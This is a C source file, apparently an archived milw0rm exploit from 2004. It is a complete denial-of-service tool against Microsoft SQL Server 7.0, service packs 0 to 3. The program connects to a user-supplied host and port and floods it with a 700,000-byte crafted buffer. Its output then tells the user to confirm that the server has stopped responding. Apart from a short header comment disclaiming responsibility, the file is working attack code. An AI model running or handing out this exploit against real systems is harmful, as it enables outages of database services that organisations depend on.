76 lines
No EOL
2 KiB
C
76 lines
No EOL
2 KiB
C
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
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* By sending a large buffer with specified data an attacker can stop
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the service
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* "mssqlserver" the error noticed is different according to services'
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pack but the result is always
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* the same one.
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* Exception Codes = c0000005
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* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
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* This code is for educational purposes, I am not responsible for your acts
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* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
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#include <stdio.h>
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#include <winsock.h>
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#pragma comment(lib,"ws2_32")
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u_long resolv(char*);
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void main(int argc, char **argv) {
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WSADATA WinsockData;
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SOCKET s;
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int i;
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struct sockaddr_in vulh;
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char buffer[700000];
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for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);
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if (argc!=3) {
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printf(" MSSQL denial of service\n");
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printf(" by securma massine\n");
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printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
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responsable des degats que vous pouvez en faire\n");
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printf("Syntaxe: MSSQLdos <ip> <port>\n");
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exit(1);
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}
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WSAStartup(0x101,&WinsockData);
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s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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ZeroMemory(&vulh,sizeof(vulh));
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vulh.sin_family=AF_INET;
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vulh.sin_addr.s_addr=resolv(argv[1]);
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vulh.sin_port=htons(atoi(argv[2]));
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if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
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printf("Impossible de se connecter...le port est en generale 1433...\n");
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exit(1);
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}
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{
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send(s,buffer,sizeof(buffer),0);
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printf("Data envoyes...\n");
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}
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printf("\nattendez quelques secondes et verifiez que le serveur ne
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repond plus.\n");
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closesocket(s);
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WSACleanup();
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}
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u_long resolv(char *host_name) {
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struct in_addr addr;
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struct hostent *host_ent;
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if ((addr.s_addr = inet_addr(host_name)) == -1) {
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if (!(host_ent = gethostbyname(host_name))) {
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printf ("Erreur DNS : Impossible de résoudre l'adresse %s
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!!!\n",host_name);
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exit(1);
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}
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CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
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}
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return addr.s_addr;
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}
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// milw0rm.com [2004-09-29]
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